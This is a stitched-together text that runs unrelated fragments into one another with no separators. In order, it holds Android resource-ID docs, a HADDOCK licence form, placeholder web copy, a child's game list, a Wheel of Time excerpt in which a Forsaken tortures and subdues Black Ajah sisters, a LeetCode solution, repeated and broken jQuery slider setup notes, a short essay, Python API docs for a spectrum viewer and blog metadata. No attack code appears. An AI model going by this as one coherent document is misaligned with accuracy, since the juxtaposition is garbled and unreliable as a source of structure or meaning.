static int |
paint_color |
static int |
play |
static int |
point |
static int |
polygon |
static int |
pref_controller_sum |
static int |
pref_controller_title
PreferencesActivity
|
static int |
prefs
Application Wide
|
static int |
radius |
static int |
rectangle |
static int |
refresh_rate_pref
SharedPreferences
|
static int |
refresh_rate_sum |
static int |
refresh_rate_title |
static int |
refresh_rate_title2 |
static int |
save_picture_external |
static int |
scanning |
static int |
scribbler_cam |
static int |
select_device |
static int |
seven |
static int |
simple |
static int |
six |
static int |
success_disconnect |
static int |
success_external_save |
static int |
successful_deleting
PictureGalleryActivity
|
static int |
successful_save
PictureActivity
|
static int |
table_layout_battery
Robot Info Activity/Layout
|
static int |
table_layout_ir_left |
static int |
table_layout_ir_right |
static int |
table_layout_light_center |
static int |
table_layout_light_left |
static int |
table_layout_light_right |
static int |
take_picture |
static int |
text |
static int |
textprompt |
static int |
three |
static int |
title_new_devices
DeviceListActivity
|
static int |
title_other_devices |
static int |
title_paired_devices |
static int |
two |
static int |
unsuccessful_save |
static int |
width |
static int |
x_coordinate |
static int |
x_end |
static int |
x_start |
static int |
y_coordinate |
static int |
y_end |
static int |
y_start |
| Constructor and Description |
|---|
R.string() |
public static final int android_camera
public static final int app_name
public static final int are_not_connected
public static final int autoRefresh_pref
public static final int autoRefresh_summary
public static final int autoRefresh_title
public static final int beep
public static final int button_scan
public static final int camera
public static final int camera_roll
public static final int circle
public static final int complex
public static final int confirm_delete
public static final int connect
public static final int connected
public static final int controllerMode
public static final int controller_mode_pref
public static final int current_controller
public static final int default_refresh_rate
public static final int delete_picture
public static final int disconnect
public static final int duration
public static final int eight
public static final int error_deleting
public static final int error_external_save
public static final int five
public static final int four
public static final int frequency
public static final int height
public static final int length
public static final int line
public static final int no_pictures
public static final int none_found
public static final int none_paired
public static final int not_connected
public static final int numsides
public static final int octave
public static final int ok
public static final int one
public static final int oval
public static final int paint_color
public static final int play
public static final int point
public static final int polygon
public static final int pref_controller_sum
public static final int pref_controller_title
public static final int prefs
public static final int radius
public static final int rectangle
public static final int refresh_rate_pref
public static final int refresh_rate_sum
public static final int refresh_rate_title
public static final int refresh_rate_title2
public static final int save_picture_external
public static final int scanning
public static final int scribbler_cam
public static final int select_device
public static final int seven
public static final int simple
public static final int six
public static final int success_disconnect
public static final int success_external_save
public static final int successful_deleting
public static final int successful_save
public static final int table_layout_battery
public static final int table_layout_ir_left
public static final int table_layout_ir_right
public static final int table_layout_light_center
public static final int table_layout_light_left
public static final int table_layout_light_right
public static final int take_picture
public static final int text
public static final int textprompt
public static final int three
public static final int title_new_devices
public static final int title_other_devices
public static final int title_paired_devices
public static final int two
public static final int unsuccessful_save
public static final int width
public static final int x_coordinate
public static final int x_end
public static final int x_start
public static final int y_coordinate
public static final int y_end
public static final int y_start


Name group leader: _______________________Company: _________________________________
Address: _________________________________
_________________________________
_________________________________
_________________________________
Web site:_________________________________
E-mail: _________________________________
License agreement:
I agree to use the HADDOCK package under the following conditions:
1. The program shall be used for scientific purposes only, excluding all industrial or commercial purposes. 2. You will provide the authors with feedback on the use of HADDOCK. Any bug reports and technical questions shall be sent to<EMAIL_ADDRESS>3. The following acknowledgment shall be made in publications resulting from the use of this program: C. Dominguez, R. Boelens and A.M.J.J. Bonvin (2003) "HADDOCK: A protein-protein docking approach based on biochemical or biophysical information." J. Am. Chem. Soc. 125, 1731-1737. S.J. de Vries, A.D.J. van Dijk, M. Krzeminski, M. van Dijk, A. Thureau, V. Hsu, T. Wassenaar and A.M.J.J. Bonvin (2007). "HADDOCK versus HADDOCK: New features and performance of HADDOCK2.0 on the CAPRI targets." Proteins: Struc. Funct. & Bioinformatic 69, 726-733. 4. The program shall not be made available to users outside the recipient's laboratory, unless written consent is obtained. 5. The programs are provided 'as is' and are without warranties. The authors will not be held liable for any use you make of the software. 6. The additional software and possible licenses required to run HADDOCK (e.g. CNS) should be obtained directly from the distribution sites (see the HADDOCK home page).
Date:__________ Signature group leader:_________________________
Dr. A.M.J.J. Bonvin
Bijvoet Center of Biomolecular Research
University of Utrecht
Padualaan 8
NL-3584 CH Utrecht
The Netherlands
Fax: +31 30 2537623
Email: a.m.j.j.bonvin@uu.nl


A paragraph of placeholder text. We're using it here to show the use of the clearfix class. We're adding quite a few meaningless phrases here to demonstrate how the columns interact here with the floated image.
As you can see the paragraphs gracefully wrap around the floated image. Now imagine how this would look with some actual content in here, rather than just this boring placeholder text that goes on and on, but actually conveys no tangible information at. It simply takes up space and should not really be read.
And yet, here you are, still persevering in reading this placeholder text, hoping for some more insights, or some hidden easter egg of content. A joke, perhaps. Unfortunately, there's none of that here.


Pro Games.com
Hi,Welcome to my website,here you can check out the best games for everyone!
And if you enjoyed please rate the game!
- SkylandersTrap Team
If you are bored and you don`t know wich game you should play this game is perfect! Skylanders Trap Team...like the other games:Skylanders Spyro`s Adventure,Skylanders Giants and Skylanders Swap Force,is a long adventure game.And you should collect all of the Skylanders to be more powerfull to defeat Kaos!
- Battle Block Teathre
This is a multiplayer game to play with you friends!
- Boom Beach
This is a game for your smartphone!
- Rocket League
Rocket League is a Football game with cars! You can buy it on Steam!
- Skylanders Superchargers
This new game is about racing...i guess(because i didn`t play this game)
- Watch Dogs


Liandrin guided her horse through the crowded streets of Amador, the sneer on her rosebud lips hidden by her deep, curving bonnet. She had hated to give up her multitude of braids, and hated even more the ludicrous fashions of this ludicrous land; the reddish yellow of hat and riding dress she rather liked, but not the large velvet bows on both. Still, the bonnet hid her eyes—combined with honey-yellow hair, brown eyes would have named her Taraboner in an instant, not a good thing in Amadicia just now—and it hid what would have been even worse to show here, an Aes Sedai’s face. Safely hidden, she could smirk at the Whitecloaks, who seemed to be every fifth man in the streets. Not that the soldiers who made another fifth would have been any better. None of them ever thought to look inside the bonnet, of course. Aes Sedai were outlawed here, and that meant there were none.
Even so, she felt a little better when she turned in at the elaborate iron gates in front of Jorin Arene’s house. Another fruitless trip looking for word from the White Tower; there had been nothing since she had learned that Elaida thought she was in control of the Tower, and that the Sanche woman had been disposed of. Siuan had escaped, true, but she was a useless rag now.
The gardens behind the gray stone fence were full of plants going rather brown from lack of rain, but trimmed and trained into cubes and balls, though one was shaped like a leaping horse. Only one, of course. Merchants like Arene mimicked their betters, but they dared not go too far lest someone think their conceit too high. Elaborate balconies decorated the large wooden house with its red-tiled roofs, and even a colonnade of carved columns, but unlike the lord’s dwelling it was meant to copy, it stood on a stone foundation no more than ten feet tall. A childish pretense at a noble’s manor.
The stringy, gray-haired man who scurried out deferentially to hold her stirrup while she dismounted, and take her reins, was clad all in black. Whatever colors a merchant chose for livery, they were sure to be some real lord’s colors, and even a minor lord could cause trouble for the richest seller of goods. People in the streets called black “merchant’s livery,” and snickered when they said it. Liandrin despised the groom’s black coat as much as she did Arene’s house and Arene himself. She would have true manors, one day. Palaces. They had been promised to her, and the power that went with them.
 The lords’ fortress manors had ramps, so of course a merchant who thought well of himself could not have steps. A black-clad young serving girl took gloves and hat in the round entrance hail, with its many doors and carved and brightly painted columns and its encircling balcony. The ceiling was lacquered in imitation of a mosaic, stars within stars in gold and black. “I will have my bath in one hour,” she told the woman. “It will be the proper temperature this time, yes?” The maid went pale as she curtsied, stammering agreement before scurrying away.
Amellia Arene, Jorin s wife, came through one of the doors deep in conversation with a fat balding man in a spotless white apron. Liandrin breathed contemptuously. The woman had pretensions, yet she not only spoke to the cook herself, she brought the man out of his kitchens to discuss meals. She treated the servant like—like a friend!
Fat Evon saw her first and gulped, his piggy eyes darting away immediately. She did not like men looking at her, and she had spoken sharply to him on her first day here about the way his gaze sometimes lingered. He had tried to deny it, but she knew men’s vile habits. Without waiting to be dismissed by his mistress, Evon all but ran back the way he had come.
The graying merchant’s wife had been a stern-faced woman when Liandrin and the others came. Now she licked her lips and smoothed her bow-draped green silk needlessly. “There is someone upstairs with the others, my Lady,” she said diffidently. She had thought that she could use Liandrin’s name that first day. “In the front withdrawing room. From Tar Valon, I believe.”
Wondering who it could be, Liandrin started for the nearest of the curving staircases. She knew few others of the Black Ajah, of course, for safety’s sake; what others did not know, they could not betray. In the Tower she had known only one of the twelve who went with her when she left. Two of the twelve were dead, and she knew at whose feet to lay the blame. Egwene al’Vere, Nynaeve al’Meara, and Elayne Trakand. Everything had gone so badly in Tanchico that she would have thought those three upstart Accepted had been there, except that they were fools who had twice walked tamely into traps she had set. That they had escaped each was of no consequence. Had they been in Tanchico, they would have fallen into her hands, whatever Jeaine claimed to have seen. The next time she found them, they would never escape anything again. She would be done with them whatever her orders.
“My Lady,” Amellia stammered. “My husband, my Lady. Jorin. Please, will one of you help him? He did not mean it, my Lady. He has learned his lesson.”
Liandrin paused with one hand on the carved banister, looking back over her shoulder. “He should not have thought that his oaths to the Great Lord could be conveniently forgotten, no?”
“He has learned, my Lady. Please. He lies beneath blankets all day—in this heat—shivering. He weeps when anyone touches him, or speaks above a whisper.”
Liandrin paused as if considering, then nodded graciously. “I will ask Chesmal to see what she can do. Yet you understand that I make no promises.” The woman’s unsteady thanks followed her up, but she paid them no mind. Temaile had let herself be carried away. She had been Gray Ajah before becoming Black, and she always made a point of spreading the pain evenly when she mediated; she had been very successful as a mediator, for she liked spreading pain. Chesmal said he might be able to do small tasks in a few months, so long as they were not too hard and no one raised a voice. She had been one of the best Healers in generations among the Yellow, so she should know.
The front withdrawing room startled her when she went in. Nine of the ten Black sisters who had come with her stood around the room against the carved and painted paneling, though there were plenty of silk-cushioned chairs on the gold-fringed carpet. The tenth, Temaile Kinderode, was handing a delicate porcelain cup of tea to a dark-haired, sturdily handsome woman in a bronze-colored gown of unfamiliar cut. The seated woman looked vaguely familiar, though she was not Aes Sedai; she was plainly approaching her middle years, and despite smooth cheeks there was nothing of agelessness about her.
Yet the mood made Liandrin cautious. Temaile was deceptively fragile in appearance, with big, childlike blue eyes that made people trust her, those eyes appeared worried now, or uneasy, and the teacup rattled on the saucer before the other woman took it. Every face looked uneasy, except that of the oddly familiar woman.  Rianna Andomeran, once White and always a coldly arrogant killer, nervously kept touching the pale streak in her black hair above her left ear. Her arrogance had been flattened.
“What has happened here?” Liandrin demanded. “Who are you, and what—?” Suddenly the memory flashed into her head. A Darkfriend, a servant in Tanchico who had continually gotten above herself. “Gyldin!” she snapped. This servant had followed them in some fashion and obviously was trying to pass herself off as a Black courier with some dire news. “You have overstepped yourself too far this time.” She reached to embrace saidar, yet even as she did the glow surrounded the other woman, and Liandrin’s reach ran into a thick invisible wall shutting her away from the Source. It hung there like the sun, tantalizingly out of reach.
“Stop gaping, Liandrin,” the woman said calmly. “You look like a fish. It is not Gyldin, but Moghedien. This tea needs more honey, Temaile.” The slender, fox-faced woman darted to take the cup, breathing heavily.
It had to be so. Who else could have so cowed the others? Liandrin looked at them standing around the walls. Round-faced Eldrith Jhondar, for once not looking vague at all despite an ink smudge on her nose, nodded vigorously. The others seemed afraid to twitch. Why one of the Forsaken—they were not supposed to use that name, but usually did, among themselves—why Moghedien would have masqueraded as a servant, she could not understand. The woman had or could have everything that she herself wanted. Not just knowledge of the One Power beyond her dreams, but power. Power over others, power over the world. And immortality. Power for a lifetime that would never end. She and her sisters had speculated on dissension among the Forsaken; there had been orders at odds with each other, and orders given to other Darkfriends at odds with theirs. Perhaps Moghedien had been hiding from the rest of the Forsaken.
Liandrin spread her divided riding skirts as best she could in a deep curtsy. “We welcome you, Great Mistress. With the Chosen to lead us, we shall surely triumph before the Day of the Great Lord’s Return.”
“Nicely said,” Moghedien said dryly, taking the cup back from Temaile. “Yes, this is much better.” Temaile looked absurdly grateful, and relieved. What had Moghedien done?
Suddenly a thought came to Liandrin, an unwelcome one. She had treated one of the Chosen as a servant. “Great Mistress, in Tanchico I did not know that you—”
“Of course you did not,” Moghedien said irritably. “What good to bide my time in the shadows if you and these others knew me?” Abruptly a small smile appeared on her lips; it touched nothing else. “Are you worried about those times you sent Gyldin to the cook to be beaten?” Sweat beaded suddenly on Liandrin’s face. “Do you truly believe I would allow such a thing? The man no doubt reported to you, but he remembered what I wanted him to remember. He actually felt sorry for Gyldin, so cruelly treated by her mistress.” That seemed to amuse her greatly. “He gave me some of the desserts that he made for you. It would not displease me if he still lives.”
Liandrin drew a relieved breath. She would not die. “Great Mistress, there is no need to shield me. I also serve the Great Lord. I swore my oaths as a Darkfriend before ever I went to the White Tower. I sought the Black Ajah from the day that I knew that I could channel.”
“So you will be the only one in this ill-ordered pack who does not need to learn who her mistress is?” Moghedien quirked an eyebrow. “I would not have thought it of you.” The glow around her vanished. “I have tasks for you. For all of you. Whatever you have been doing, you will forget.  With my hand on the dog whip, perhaps you will hunt more successfully.”
“We await orders from the Tower, Great Mistress,” Liandrin said. Inept! They had almost found what they were hunting for in Tanchico, when the city exploded in riots; they had barely escaped destruction at the hands of Aes Sedai who had somehow wandered into the middle of their plan. Had Moghedien revealed herself, or even taken part on their behalf, they would have triumphed. If their failure was anyone’s fault, it was Moghedien’s herself. Liandrin reached toward the True Source, not to embrace it, but to be certain that the shield had not merely been tied off. It was gone. “We have been given great responsibilities, great works to perform, and surely we will be commanded to continue—”
Moghedien cut her off sharply. “You serve whichever of the Chosen chooses to snap you up. Whoever sends you orders from the White Tower, she takes her own from one of us now, and very likely grovels on her belly when she does. You will serve me, Liandrin. Be sure of it.”
Moghedien did not know who headed the Black Ajah. It was a revelation. Moghedien did not know everything. Liandrin had always imagined the Forsaken as close to omnipotent, something far beyond ordinary mortals. Perhaps the woman truly was in flight from the other Forsaken. To hand her over to them would surely earn her a high place. She might even become one of them. She had a trick, learned in childhood. And she could touch the Source. “Great Mistress, we serve the Great Lord, as you do. We also were promised eternal life, and power, when the Great Lord re—”
“Do you think that you are my equal, little sister?” Moghedien grimaced in disgust. “Did you stand in the Pit of Doom to dedicate your soul to the Great Lord? Did you taste the sweetness of victory at Paaran Disen, or the bitter ashes at the Asar Don? You are a barely trained puppy, not the pack-mistress, and you will go where I point until I see fit to give you a better place. These others thought themselves more than they are, too. Do you wish to try your strength against me?”
“Of course not, Great Mistress.” Not when she was forewarned and ready. “I—”
“You will do so sooner or later, and I prefer to put it out of the way now, in the beginning. Why do you think your companions look so cheerful? I have taught each of them the same lesson already today. I will not wonder when you must be taught, too. I will be done with it now. Try.”
Licking her lips fearfully, Liandrin looked around at the women standing rigidly against the walls. Only Asne Zeramene so much as blinked; she shook her head ever so slightly. Asne’s tilted eyes, high cheekbones and strong nose marked her Saldaean, and she had all the vaunted Saldaean boldness. If she counseled against, if her dark eyes held a tinge of fear, then it was surely best to grovel however much was needed to make Moghedien relent. And yet, there was her trick.
She went to her knees, head low, looking up at the Forsaken with a fear that was only partly feigned. Moghedien lounged in her chair, sipping the tea. “Great Mistress, I beg you to forgive me if I have presumed. I know that I am but a worm beneath your foot. I beg, as one who would be your faithful hound, for your mercy on this wretched dog.” Moghedien’s eyes dropped to her cup, and in a flash, while the words still tumbled from her mouth, Liandrin embraced the Source and channeled, seeking the crack that must be in the Forsaken’s confidence, the crack that was in everyone’s façade of strength.
Even as she lashed out, the light of saidar surrounded the other woman, and pain enveloped Liandrin. She crumpled to the carpet, trying to howl, but agony beyond anything she had ever known silenced her gaping mouth. Her eyes were going to burst from her head; her skin was going to peel away in strips. For an eternity she thrashed, and when it vanished as suddenly as it had begun, all she could do was lie there, shuddering and weeping openmouthed.
“Do you begin to see?” Moghedien said calmly, handing the empty cup to Temaile with, “That was very good. But next time a little stronger.” Temaile looked as though she might faint. “You are not quick enough, Liandrin, you are not strong enough, and you do not know enough. That pitiful little thing you tried against me. Would you like to see what it is really like?” She channeled.
Liandrin gazed up at her adoringly. Crawling across the floor, she pushed words through the sobs she still could not stop. “Forgive me, Great Mistress.” This magnificent woman, like a star in the heavens, a comet, above all kings and queens in wonder. “Forgive, please,” she begged, pressing kisses against the hem of Moghedien’s skirt as she babbled. “Forgive. I am a dog, a worm.” It shamed her to her core that she had not meant those things before. They were true. Before this woman, they were all true. “Let me serve you, Great Mistress. Allow me to serve. Please. Please.”
“I am not Graendal,” Moghedien said, pushing her away roughly with one velvet-slippered foot.
Suddenly the sense of worship was gone. Lying there in a heap, weeping, Liandrin could remember it clearly, though. She stared at the Forsaken in horror.
“Are you convinced yet, Liandrin?”
“Yes, Great Mistress,” she managed. She was. Convinced that she dared not even think of trying again until she was certain of success. Her trick was only the palest shadow of what Moghedien had done. Could she but learn that . . .
“We shall see. I think you may be one of those who needs a second lesson. Pray it is not so, Liandrin; I make second lessons exceedingly sharp. Now take your place with the others. You will find that I have taken some of the objects of power that you had in your room, but you may keep the trinkets that remain. Am I not kind?”
“The Great Mistress is kind,” Liandrin agreed around hiccoughs and occasional sobs that she could not stifle.
Limply she staggered to her feet and went to stand beside Asne; the wall panel against her back helped to hold her upright. She saw the flows of Air being woven; only Air, but she still flinched as they bound her mouth shut and stopped sound from her ears. She certainly did not try to resist. She did not even let herself think of saidar. Who knew what one of the Forsaken could do? Perhaps read her thoughts. That almost made her run. No. If Moghedien knew her thoughts, she would be dead by now. Or still screaming on the floor. Or kissing Moghedien’s feet and begging to serve. Liandrin shivered uncontrollably; if that weave had not bound her mouth, her teeth would have been chattering.
Moghedien wove the same around all of them save Rianna, whom the Forsaken beckoned with an imperious finger to kneel before her. Then Rianna left, and Marillin Gemalphin was unbound and summoned.
From where she stood, Liandrin could see their faces even if their mouths moved soundlessly for her. Plainly each woman was receiving orders the others knew nothing of. The faces told little, though. Rianna merely listened, a touch of relief in her eyes, bowed her head in assent and went. Marillin looked surprised, and then eager, but she had been a Brown, and Browns could be enthusiastic over anything that allowed them a chance to unearth some moldy bit of lost knowledge. Jeaine Caide donned a slow mask of horror, shaking her head at first and trying to cover herself and that disgustingly sheer gown, but Moghedien’s face hardened, and Jeaine nodded hurriedly and fled, if not as eagerly as Marillin, just as quickly. Berylla Naron, lean almost to scrawniness and as fine a manipulator and plotter as there was, and Falion Bhoda, long-faced and cold despite her obvious fear, showed as little expression as Rianna had. Ispan Shefar, like Liandrin from Tarabon, though dark-haired, actually kissed Moghedien’s hem before she rose.
Then the flows were unwoven around Liandrin. She thought that it was her turn to be sent away on the Shadow knew what errand, until she saw the bonds dispelled around the others remaining as well. Moghedien’s finger beckoned peremptorily, and Liandrin knelt between Asne and Chesmal Emry, a tall, handsome woman, dark-haired and dark-eyed. Chesmal, once Yellow, could Heal or kill with equal ease, but the intensity of her gaze on Moghedien, the way her hands trembled as they clutched her skirts, said she intended only to obey.
She would have to go by such signs, Liandrin realized. Approaching one of the others with her belief that rewards could be had for handing Moghedien to the rest of the Forsaken might well be disastrous if the one she spoke to had decided that it was in her best interests to be Moghedien’s lapdog. She almost whimpered at the thought of a “second lesson.”
“You, I keep with me,” the Forsaken said, “for the most important task. What the others do may bear sweet fruit, but to me yours will be the most important harvest. A personal harvest. There is a woman named Nynaeve al’Meara.” Liandrin’s head came up, and Moghedien’s dark eyes sharpened. “You know of her?”
“I despise her,” Liandrin replied truthfully. “She is a filthy wilder who ought never to have been allowed in the Tower.” She loathed all wilders. Dreaming of being Black Ajah, she herself had begun learning to channel a full year before going to the Tower, but she was in no way a wilder.
“Very good. You five are going to find her for me. I want her alive. Oh, yes, I do want her alive.” Moghedien’s smile made Liandrin shiver; giving Nynaeve and the other two to her might be entirely suitable. “The day before yesterday she was in a village called Sienda, perhaps sixty miles east of here, with another young woman in whom I may be interested, but they have vanished. You will . . . ”
Liandrin listened eagerly. For this, she could be a faithful hound. For the other, she would wait patiently.


class Solution: def numSub(self, s: str) -> int: s+="0" curr=0 count=0 for m,i in enumerate(s): if i=="1": curr+=1 else: count+=curr*(curr+1)//2 curr=0 return count%(10**9 + 7)


 $50 increments:
 <input type="text" class="amount form-control" />

@import "http://localhost/shared/components/library/jquery-ui/css/jquery-ui.min.css"; @import "assets/components/modules/admin/sliders/jqueryui-sliders/assets/custom/less/jqueryui-sliders.less";

section of your HTML document, before any JavaScript files: <link type="stylesheet/less" href="styles.less" />
NOTE All the styles from the CORE package also need to be imported in this file, before the component imports.
HEAD You should include the following scripts in the head section of the document, right before the closing
tag, after styles.

BODY You should include the following scripts at the end of the HTML document, right before the closing
tag.

 Maximum price:
 <input type="text" class="amount form-control" />

@import "http://localhost/shared/components/library/jquery-ui/css/jquery-ui.min.css"; @import "assets/components/modules/admin/sliders/jqueryui-sliders/assets/custom/less/jqueryui-sliders.less";

section of your HTML document, before any JavaScript files: <link type="stylesheet/less" href="styles.less" />
NOTE All the styles from the CORE package also need to be imported in this file, before the component imports.
HEAD You should include the following scripts in the head section of the document, right before the closing
tag, after styles.

BODY You should include the following scripts at the end of the HTML document, right before the closing
tag.

 Maximum price:
 <input type="text" class="amount form-control" />

@import "http://localhost/shared/components/library/jquery-ui/css/jquery-ui.min.css"; @import "assets/components/modules/admin/sliders/jqueryui-sliders/assets/custom/less/jqueryui-sliders.less";

section of your HTML document, before any JavaScript files: <link type="stylesheet/less" href="styles.less" />
NOTE All the styles from the CORE package also need to be imported in this file, before the component imports.
HEAD You should include the following scripts in the head section of the document, right before the closing
tag, after styles.

BODY You should include the following scripts at the end of the HTML document, right before the closing
tag.

<input type="text" class="amount form-control" />

@import "http://localhost/shared/components/library/jquery-ui/css/jquery-ui.min.css"; @import "assets/components/modules/admin/sliders/jqueryui-sliders/assets/custom/less/jqueryui-sliders.less";

section of your HTML document, before any JavaScript files: <link type="stylesheet/less" href="styles.less" />
NOTE All the styles from the CORE package also need to be imported in this file, before the component imports.
HEAD You should include the following scripts in the head section of the document, right before the closing
tag, after styles.

BODY You should include the following scripts at the end of the HTML document, right before the closing
tag.

@import "http://localhost/shared/components/library/jquery-ui/css/jquery-ui.min.css"; @import "assets/components/modules/admin/sliders/jqueryui-sliders/assets/custom/less/jqueryui-sliders.less";

section of your HTML document, before any JavaScript files: <link type="stylesheet/less" href="styles.less" />
NOTE All the styles from the CORE package also need to be imported in this file, before the component imports.
HEAD You should include the following scripts in the head section of the document, right before the closing
tag, after styles.

BODY You should include the following scripts at the end of the HTML document, right before the closing
tag.

 77 55 33 40 45

@import "http://localhost/shared/components/library/jquery-ui/css/jquery-ui.min.css"; @import "assets/components/modules/admin/sliders/jqueryui-sliders/assets/custom/less/jqueryui-sliders.less";

section of your HTML document, before any JavaScript files: <link type="stylesheet/less" href="styles.less" />
NOTE All the styles from the CORE package also need to be imported in this file, before the component imports.
HEAD You should include the following scripts in the head section of the document, right before the closing
tag, after styles.

BODY You should include the following scripts at the end of the HTML document, right before the closing
tag.


We are human
It all started when two separate human beings wanted to create a new smaller human. This new human would then slowly grow and mature into a larger human.
While the new human grew and gained their own personalities, likes and dislikes, they also integrated into society with other beings which gave them a myriad of new opportunities to explore. As the unforgiving time ticked away they learned and absorbed everything until clarity had set upon their busy minds.
Purpose
We can neither prove that destiny exists nor disprove it. The evidence simply does not yet exist. The past should be set in stone, the present is continuously unfolding. While the future remains a mysterious and complex infinity, like a mandelbrot set of vast depths which never seem to end.
Our minds constantly shifts from one idea to the next and suddenly onto a hundred others. They focus by becoming distracted, chasing new ideas and purposes until one reveals an enticing path.
Purpose is not given to one. Purpose is not real. It cannot be real. If things change constantly then ones purpose changes along with it. Purpose is but a figment of a persons consciousness.
Who
We do not know who, maybe who is us and who is you. That answer is at current time unclear. Can you hear the bells ringing? Maybe that is who it is. An empty space surrounded by lanky walls of imposing spires. The bells toll a dreadful chime and the walls are getting taller.
None feel safe. We must retreat to and ponder about what lies ahead.


ssv.viewer¶
The ssv.viewer subpackage contains the classes necessary to create the spectrum visualisations.
Submodules¶
ssv.viewer.SimpleSpectralLines module¶
-
class
ssv.viewer.SimpleSpectralLines.
SimpleSpectralLines
(lines=None)¶ Bases:
object
Class to control spectral lines in the final Chart
-
build_chart
(wavelength_unit=Unit('nm'), **kwargs)¶ Build an altair Chart with the data from the visible spectra
- Parameters
wavelength_unit – Set the wavelength unit for the data used in the Chart
**kwargs – Passed to plotting.plot_lines
- Returns
- Return type
-
offset_wavelength
(offset)¶ Set an amount by which to offset the wavelength values of specific spectra
- Parameters
offset – The amount by which to offset the wavelengths
-
redshift_wavelength
(z)¶ Set a redshift z to offset the wavelength values of specific spectra
- Parameters
z – The redshift value used to offest wavelengths
-
set_wavelength_limits
(wavelength_min, wavelength_max)¶ Set the range within which the spectral lines should be rendered
- Parameters
wavelength_min – Minimum wavelength value
wavelength_max – Maximum wavelength value
-
to_dataframe
(wavelength_unit=Unit('nm'))¶ Create a pandas DataFrame containing all data from the spectral lines that are within the wavelength limits
- Parameters
wavelength_unit – Set the wavelength unit for the resulting DataFrame
- Returns
- Return type
pandas.DataFrame
-
ssv.viewer.SimpleSpectrum module¶
-
class
ssv.viewer.SimpleSpectrum.
SimpleSpectrum
(name, data)¶ Bases:
object
Controller class to more easily deal with the spectrum data Internally uses SpectrumIndividual objects to store pairs of wavelength and flux
-
name
¶ The name of the SimpleSpectrum object, used as part of the label in the final chart
-
build_chart
(wavelength_unit=Unit('nm'), **kwargs)¶ Build a altair Chart with the data from the visible spectra
- Parameters
wavelength_unit – Set the wavelength unit for the data used in the Chart
**kwargs – Passed to plotting.plot_spectra
- Returns
- Return type
If no data in the Chart, returns None, else returns an altair Chart of the visible spectra
-
flux_range
(*trace_keys)¶ Get dictionary of the maxima and minima of the flux for the specified spectra
- Parameters
*trace_keys – Spectra keys for which to return the flux range
- Returns
- Return type
Dictionary of the input keys with the flux ranges of the associated spectra
-
offset_flux
(offset, *trace_keys)¶ Set an amount by which to offset the flux values of specific spectra
- Parameters
offset – The amount by which to offset the flux
*trace_keys – The keys of the spectra to offset
-
offset_wavelength
(offset, *trace_keys)¶ Set an amount by which to offset the wavelength values of specific spectra
- Parameters
offset – The amount by which to offset the wavelengths
*trace_keys – The keys of the spectra to offset
-
redshift_wavelength
(z, *trace_keys)¶ Set a redshift z to offset the wavelength values of specific spectra
- Parameters
z – The redshift value used to offest wavelengths
*trace_keys – The keys of the spectra to offset
-
set_trace_visible
(trace_key, visible=True)¶ Toggle the visibility of an individual spectrum
- Parameters
trace_key – The key for the SpectrumIndividual object to toggle visibility
visible – If True, the spectrum will be visible, else it will not be visible
-
set_transform_functions
(trace_keys=None, functions=None)¶ Set the list of transform functions to be applied to spectra before the DataFrame is returned
- Parameters
trace_keys – List of spectra keys to apply the transform functions to
functions – List of transform functions to apply
-
set_variance_visible
(trace_key, visible=True)¶ Toggle the visibility of the variance for a spectrum
- Parameters
trace_key – The key for the SpectrumIndividual object to turn on variance
visible – If True, variance will be visible, else it will not be visible
-
set_visible_traces
(*trace_keys)¶ Toggle which spectra are visible in the final dataframe
- Parameters
*trace_keys – Keys to set visible. Any key not listed here will be set to not visible
-
to_dataframe
(wavelength_unit=Unit('nm'))¶ Create a pandas DataFrame containing all data from the spectra that are set to be visible in the chart
- Parameters
wavelength_unit – Set the wavelength unit for the resulting DataFrame
- Returns
- Return type
None or pandas.DataFrame
-
-
class
ssv.viewer.SimpleSpectrum.
SpectrumIndividual
(purpose, data)¶ Bases:
object
The container class to actually hold the spectrum data
-
set_transform_functions
(*functions)¶ Set the transform functions to be applied to every spectrum
- Parameters
*functions – Transform functions
-
show_variance
(show=True)¶ Toggles whether or not the variance should be included when converting to a dataframe
- Parameters
show – If True, the variance will be included in the dataframe
-
to_dataframe
()¶ Applies transform functions and converts the spectrum data to a pandas DataFrame
- Returns
DataFrame columns for wavelength, flux and (optionally) the variance
- Return type
pandas.DataFrame
-
property
wavelength_redshift
¶
-
ssv.viewer.SimpleSpectrumViewer module¶
-
class
ssv.viewer.SimpleSpectrumViewer.
SimpleSpectrumViewer
(name, wavelength_limits=None)¶ Bases:
object
SimpleSpectrumViewer class description
-
add_lines
(lines)¶ Add a SimpleSpectralLines object to the viewer
- Parameters
lines – The SimpleSpectralLines object to be added to the viewer
-
add_spectrum
(spectrum)¶ Add a SimpleSpectrum to the viewer
- Parameters
spectrum – The SimpleSpectrum object to be added to the viewer
-
build_chart
()¶ Altair Chart constructed using the selected data from SimpleSpectrum and SimpleSpectralLines objects, along with the set chart parameters
- Returns
- Return type
The Altair Chart
-
get_all_spectrum_chart_data
()¶ Return a dataframe of wavelengths and spectra for all SimpleSpectrum objects in the viewer
- Returns
all_spectrum_chart_data – Pandas Dataframe containing the wavelength and spectra values for all SimpleSpectrum objects in the viewer
wavelength_min – The smallest wavelength value in the dataframe
wavelength_max – The largest wavelength value in the dataframe
-
remove_lines
()¶ Removes SimpleSpectralLines object from the viewer
-
remove_spectrum
(spectrum)¶ Remove a SimpleSpectrum object from the viewer
- Parameters
spectrum – Name of the SimpleSpectrum object to be removed from the viewer
-
set_chart_width_height
(width=None, height=None)¶ Set the width and height of the chart
- Parameters
width – Width of the chart in pixels
height – Height of the chart in pixels
-
set_flux_unit
(unit)¶ Set the flux unit
- Parameters
unit – Unit to be used for flux data
-
set_wavelength_unit
(unit)¶ Set the wavelength unit
- Parameters
unit – Unit to be used for wavelength data
-
set_x_axis_title
(title)¶ Set the x-axis title
- Parameters
title – Title of the x-axis
-
set_x_range
(x_min, x_max)¶ Sets the range of the x-axis in the final chart
- Parameters
x_min – The minimum of the x-axis extent
x_max – The maximum of the x-axis extent
-
set_y_axis_title
(title)¶ Set the y-axis title
- Parameters
title – Title of the y-axis
-
set_y_range
(y_min, y_max)¶ Sets the range of the y-axis in the final chart
- Parameters
y_min – The minimum of the y-axis extent
y_max – The maximum of the y-axis extent
-
show_grid
(show=True)¶ Turn the chart grid on or off
- Parameters
show – If True, grid will be visible in the chart
-
show_legend
(show=True)¶ Turn the chart legend on or off
- Parameters
show – If True, legend will be visible in the chart
-


--- title: The Web Development Discipline excerpt: 'The Web Development Discipline: http://bit.ly/n9LCh4. Nice piece on the importance of having a structured approach to development.' date: '2011-08-03 19:09:00 +0200' date_gmt: '2011-08-03 17:09:00 +0200' categories: - Webdev tags: - tweets - web - design - development ---
